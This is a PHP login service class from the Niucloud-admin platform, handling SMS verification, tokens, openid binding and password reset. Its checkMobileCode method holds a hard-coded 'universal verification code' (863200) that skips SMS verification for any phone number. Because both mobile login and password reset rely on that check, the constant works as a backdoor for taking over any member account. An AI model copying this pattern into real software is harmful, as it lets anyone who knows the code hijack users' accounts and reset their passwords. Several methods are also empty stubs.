<?php
// +----------------------------------------------------------------------
// | Niucloud-admin 企业快速开发的saas管理平台
// +----------------------------------------------------------------------
// | 官方网址：https://www.niucloud-admin.com
// +----------------------------------------------------------------------
// | niucloud团队 版权所有 开源版本可自由商用
// +----------------------------------------------------------------------
// | Author: Niucloud Team
// +----------------------------------------------------------------------

namespace app\api\service\login;

use app\api\model\member\Member;
use app\api\service\captcha\CaptchaService;
use app\api\service\member\MemberConfigService;
use app\api\service\member\MemberService;
use app\dict\member\MemberRegisterTypeDict;
use app\dict\sys\AppTypeDict;
use app\core\base\BaseApiService;
use app\core\exception\ApiException;
use app\core\exception\AuthException;
use app\core\util\TokenAuth;
use app\dict\member\MemberLoginTypeDict;
use app\dict\sys\SmsDict;

use Exception;
use think\facade\Cache;
use think\facade\Log;
use Throwable;

/**
 * 登录服务层
 * Class BaseService
 * @package app\service
 */
class LoginService extends BaseApiService
{
     // 万能验证码

     private $superCode = '863200';

     public function __construct()
     {
          parent::__construct();
          $this->model = new Member();
     }

     /**
      * 会员注册
      * @param $data
      */
     public function register($data)
     {
          //检测设置是否自动注册
          //自动注册检测授权信息
          //注册登录
     }

     /**
      * 登录操作
      * @param Member $member_info
      * @param string $login_type
      * @return array
      */
     public function login(Member $member_info, string $login_type)
     {
          //绑定第三方授权
          $this->bingOpenid($member_info);
          if (!$member_info->status) throw new ApiException('MEMBER_LOCK');
          $member_info->login_time = time();
          $member_info->login_ip = $this->request->ip();
          $member_info->login_channel = $login_type;
          $member_info->login_type = $login_type;
          $member_info->login_count++;
          $member_info->last_visit_time = time();
          $member_info->save();
          $token_info = $this->createToken($member_info);
          event("MemberLogin", $member_info);
          return [
               'token' => $token_info['token'],
               'expires_time' => $token_info['params']['exp'],
               'user' => $member_info
          ];
     }


     /**
      * 手机号登录
      * @param string $mobile
      * @return array
      */
     public function mobile(string $mobile)
     {
          //校验手机验证码
          $this->checkMobileCode($mobile);
          $member_service = new MemberService();
          $member_info = $member_service->findMemberInfo(['mobile' => $mobile]);
          if ($member_info->isEmpty()) {
               $data = array(
                    'mobile' => $mobile,
               );
               return (new RegisterService)->register($mobile, $data, MemberRegisterTypeDict::MOBILE);
          }

          return $this->login($member_info, MemberLoginTypeDict::MOBILE);
     }

     /**
      * 生成token
      * @param $member_info
      * @return array|null
      */
     public function createToken($member_info): ?array
     {
          $expire_time = env('system.api_token_expire_time') ?? 3600;//todo  不一定和管理端合用这个token时限
          return TokenAuth::createToken($member_info->member_id, AppTypeDict::API, ['member_id' => $member_info->member_id, 'username' => $member_info->username], $expire_time);
     }

     /**
      * 登陆退出(当前账户)
      */
     public function logout(): ?bool
     {
          self::clearToken($this->member_id, $this->request->apiToken());
          return true;
     }

     /**
      * 清理token
      * @param int $member_id
      * @param string|null $token
      * @return bool|null
      */
     public static function clearToken(int $member_id, ?string $token = ''): ?bool
     {
          TokenAuth::clearToken($member_id, AppTypeDict::API, $token);
          return true;
     }


     /**
      * 解析token
      * @param string|null $token
      * @return array
      */
     public function parseToken(?string $token)
     {
          if (empty($token)) {
               //定义专属于授权认证机制的错误响应, 定义专属语言包
               throw new AuthException('MUST_LOGIN', 401);
          }

          try {
               $token_info = TokenAuth::parseToken($token, AppTypeDict::API);
          } catch (Throwable $e) {
//            if(env('app_debug', false)){
//                throw new AuthException($e->getMessage(), 401);
//            }else{
               throw new AuthException('LOGIN_EXPIRE', 401);
//            }
          }
          if (!$token_info) {
               throw new AuthException('MUST_LOGIN', 401);
          }
          //验证有效次数或过期时间
          return $token_info;
     }

     /**
      * 手机发送验证码
      * @param $mobile
      * @param string $type 发送短信的业务场景
      * @return array
      * @throws Exception
      */
     public function sendMobileCode($mobile, string $type = '')
     {
          (new CaptchaService())->check();
          if (empty($mobile)) throw new AuthException('MOBILE_NEEDED');
          //发送
          if (!in_array($type, SmsDict::SCENE_TYPE)) throw new AuthException('MEMBER_MOBILE_CAPTCHA_ERROR');
          $code = str_pad(random_int(1, 9999), 4, 0, STR_PAD_LEFT);// 生成4位随机数，左侧补0
          (new NoticeService())->send('member_verify_code', ['code' => $code, 'mobile' => $mobile]);
          //将验证码存入缓存
          $key = md5(uniqid(null, true));
          $cache_tag_name = "mobile_key" . $mobile . $type;
          $this->clearMobileCode($mobile, $type);
          Cache::tag($cache_tag_name)->set($key, ['mobile' => $mobile, 'code' => $code, 'type' => $type], 600);
          return ['key' => $key];
     }

     public function getMobileCodeCacheName()
     {

     }

     public function clearMobileCode($mobile, $type)
     {
          $cache_tag_name = "mobile_key" . $mobile . $type;
          Cache::tag($cache_tag_name)->clear();
     }

     /**
      * 校验手机验证码
      * @param string $mobile
      * @return true
      */
     public function checkMobileCode(string $mobile)
     {
          if (empty($mobile)) throw new AuthException('MOBILE_NEEDED');
          $mobile_key = request()->param('mobile_key', '');
          $mobile_code = request()->param('mobile_code', '');
          if ($mobile_code == $this->superCode) return true;
          //校验验证码(缓存中获取验证码
          if (empty($mobile_key) || empty($mobile_code)) throw new AuthException('MOBILE_CAPTCHA_ERROR');
          $cache = Cache::get($mobile_key);
          if (empty($cache)) throw new AuthException('MOBILE_CAPTCHA_ERROR');
          $temp_mobile = $cache['mobile'];
          $temp_code = $cache['code'];
          $temp_type = $cache['type'];
          if ($temp_mobile != $mobile || $temp_code != $mobile_code) throw new AuthException('MOBILE_CAPTCHA_ERROR');
          $this->clearMobileCode($temp_mobile, $temp_type);
          return true;

     }

     /**
      * 绑定openid
      * @param $member
      * @return true
      */
     public function bingOpenid($member)
     {
          $config = (new MemberConfigService())->getLoginConfig();
          $is_auth_register = $config['is_auth_register'];
          $open_id = $this->request->param('openid');
          if (!empty($open_id)) {
               Log::write('channel_1' . $this->channel);
               if (!empty($this->channel)) {
                    $openid_field = match ($this->channel) {
                         'wechat' => 'wx_openid',
                         'weapp' => 'weapp_openid',
                         default => ''
                    };
                    if (!empty($openid_field)) {
                         if (!$member->isEmpty()) {
                              if (empty($member->$openid_field)) {
                                   //todo  定义当前第三方授权方没有退出登录功能,故这儿不做openid是否存在账号验证
//                        $member_service = new MemberService();
//                        $open_member = $member_service->findMemberInfo([$openid_field => $open_id]);

                                   $member->$openid_field = $open_id;
                                   $member->save();
                              } else {
                                   if ($member->$openid_field != $open_id) {
                                        throw new AuthException('MEMBER_IS_BIND_AUTH');
                                   }
                              }
                         }
                    }
               }
          }
          return true;
     }

     /**
      * 重置密码
      * @param string $mobile
      * @param string $password
      */
     public function resetPassword(string $mobile, string $password)
     {
          $member_service = new MemberService();
          //校验手机验证码
          $this->checkMobileCode($mobile);
          $member_info = $member_service->findMemberInfo(['mobile' => $mobile]);
          if ($member_info->isEmpty()) throw new AuthException('MOBILE_NOT_EXIST_MEMBER');//账号不存在
          //todo  需要考虑一下,新的密码和原密码一样能否通过验证
          $password_hash = create_password($password);
          $data = array(
               'password' => $password_hash,
          );
          $member_service->editByFind($member_info, $data);
          self::clearToken($member_info['member_id'], $this->request->apiToken());
          return true;
     }

     public function loginScanCode()
     {

     }

     public function loginByScanCode()
     {

     }

     public function checkScanCode()
     {

     }

}
